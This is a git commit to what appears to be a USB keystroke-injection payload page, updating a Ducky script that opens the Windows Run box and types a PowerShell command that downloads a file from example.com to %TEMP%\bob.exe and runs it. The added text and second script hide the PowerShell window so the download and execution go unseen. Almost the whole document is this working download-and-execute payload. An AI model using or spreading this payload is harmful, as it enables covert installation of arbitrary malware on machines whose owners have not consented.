Updated Payload powershell wget + execute (rdoc)

This commit is contained in:
overwraith 2013-06-29 13:46:32 -07:00
parent a7768cf1cf
commit fdcb6a8c76
1 changed files with 10 additions and 1 deletions

View File

@ -7,4 +7,13 @@ Description: Opens “RUN” box, throws power shell string, enter. Supports HTT
GUI r
DELAY 100
STRING powershell (new-object System.Net.WebClient).DownloadFile('http://example.com/bob.old','%TEMP%\bob.exe'); Start-Process "%TEMP%\bob.exe"
ENTER
ENTER
Adding two words to this makes it possible to hide the powershell window as it downloads and executes.
```
GUI r
DELAY 100
STRING powershell -windowstyle hidden (new-object System.Net.WebClient).DownloadFile('http://example.com/bob.old','%TEMP%\bob.exe'); Start-Process "%TEMP%\bob.exe"
ENTER
```